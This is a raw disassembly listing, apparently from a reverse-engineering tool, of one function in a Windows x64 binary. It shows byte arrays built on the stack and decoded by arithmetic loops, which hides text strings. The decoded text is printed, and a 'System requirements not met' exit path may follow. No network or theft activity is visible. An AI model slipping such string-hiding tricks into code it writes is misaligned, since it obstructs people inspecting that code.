add edx, ecx
add edx, 0x420
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x420
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x1c
jne 0x140002b69
lea rcx, [rbp + 0x461]
call fcn.140002f57
mov r15, rsi
mov rcx, qword [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x938]
test rcx, rcx
mov rdi, qword [rbp + 0x960]
je 0x140002c11
call fcn.1400b7820
mov rsi, qword [rbp + 0x958]
test rsi, rsi
je 0x140002ea3
add r13, 0x20
cmp r13, r15
jne 0x140001da7
lea rcx, [rbp + 0x461]
mov byte [rcx - 1], 0
mov byte [rcx], 0x3d
mov al, 0x46
mov byte [rcx + 1], al
mov dl, 0x24
mov byte [rcx + 2], dl
mov r8b, 0x10
mov byte [rcx + 3], r8b
mov r9b, 0x7e
mov byte [rcx + 4], r9b
mov byte [rcx + 5], r8b
mov byte [rcx + 6], 0x11
mov byte [rcx + 7], r8b
mov r10b, 0x38
mov byte [rcx + 8], r10b
mov byte [rcx + 9], 0x4d
mov r11b, 0x61
mov byte [rcx + 0xa], r11b
mov byte [rcx + 0xb], 0x3f
mov byte [rcx + 0xc], al
mov byte [rcx + 0xd], 0x5a
mov byte [rcx + 0xe], r9b
mov byte [rcx + 0xf], r10b
mov byte [rcx + 0x10], al
mov byte [rcx + 0x11], 0x6e
mov byte [rcx + 0x12], 0x32
mov byte [rcx + 0x13], 3
mov byte [rcx + 0x14], r8b
mov byte [rcx + 0x15], r11b
mov byte [rcx + 0x16], r8b
mov byte [rcx + 0x17], dl
mov byte [rcx + 0x18], 0x64
mov byte [rcx + 0x19], 0x3a
mov byte [rcx + 0x1a], 4
cmp byte [rcx - 1], 0
jne 0x140002d25
mov eax, 1
movzx edx, byte [rbp + rax + 0x460]
lea r8d, [rdx + rdx*8]
lea r9d, [rdx + r8*2]
lea edx, [rdx + r8*2]
add edx, 0xffffffb4
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, r9d
add edx, 0xffffffb4
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
lea edx, [r8 + r9]
add edx, 0xffffffb4
lea r8d, [rdx + 0x7f]
cmp dx, 0xff81
movzx r8d, r8b
cmovb r8d, edx
mov byte [rbp + rax + 0x460], r8b
inc rax
cmp rax, 0x1c
jne 0x140002cba
call fcn.140002f57
xor esi, esi
jmp 0x140002ea9
mov rsi, qword [0x1400c41a0]
lea rdx, str.System_requirements_not_met._Exiting...
mov r8d, 0x27
mov rcx, rsi
call fcn.1400b26a0
mov rax, qword [rsi]
mov rcx, qword [rax - 0x18]
add rcx, rsi
mov dl, 0xa
call fcn.140069280
mov rcx, rsi
mov edx, eax
call fcn.140076e20
mov rcx, rax
call fcn.140077000
mov esi, 1
mov eax, esi
movaps xmm6, xmmword [rbp + 0x990]
add rsp, 0xa28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rsi, [rbp + 0x461]
mov byte [rsi - 1], 0
mov byte [rsi], 0x4e
mov byte [rsi + 1], 0x6d
mov byte [rsi + 2], 0xa
mov byte [rsi + 3], 0x54
mov al, 0x7b
mov byte [rsi + 4], al
mov byte [rsi + 5], 0x38
mov cl, 0x48
mov byte [rsi + 6], cl
mov dl, 0x70
mov byte [rsi + 7], dl
mov r8b, 0x1f
mov byte [rsi + 8], r8b
mov byte [rsi + 9], cl
mov byte [rsi + 0xa], r8b
mov byte [rsi + 0xb], 0x62
mov byte [rsi + 0xc], al
mov r8b, 0x5b
mov byte [rsi + 0xd], r8b
mov byte [rsi + 0xe], cl
mov byte [rsi + 0xf], 0x19
mov byte [rsi + 0x10], r8b
mov byte [rsi + 0x11], dl
mov byte [rsi + 0x12], al
mov byte [rsi + 0x13], 0x69
mov byte [rsi + 0x14], r8b
mov byte [rsi + 0x15], al
mov byte [rsi + 0x16], dl
mov byte [rsi + 0x17], 0x79
mov byte [rsi + 0x18], 0x57
cmp byte [rsi - 1], 0
jne 0x140002e6d
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, 0xc3c
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax + 0x460], cl
inc rax
cmp rax, 0x1a
jne 0x140002e0d
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rdi, qword [0x1400c41a0]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.1400b26a0
mov rax, qword [rdi]
mov rcx, qword [rax - 0x18]
add rcx, rdi
mov dl, 0xa
call fcn.140069280
mov rcx, rdi
jmp 0x140002d61
mov esi, dword [rbp + 0x988]
lea rcx, [rbp + 0x448]
call fcn.1400a10c8
jmp 0x140002d75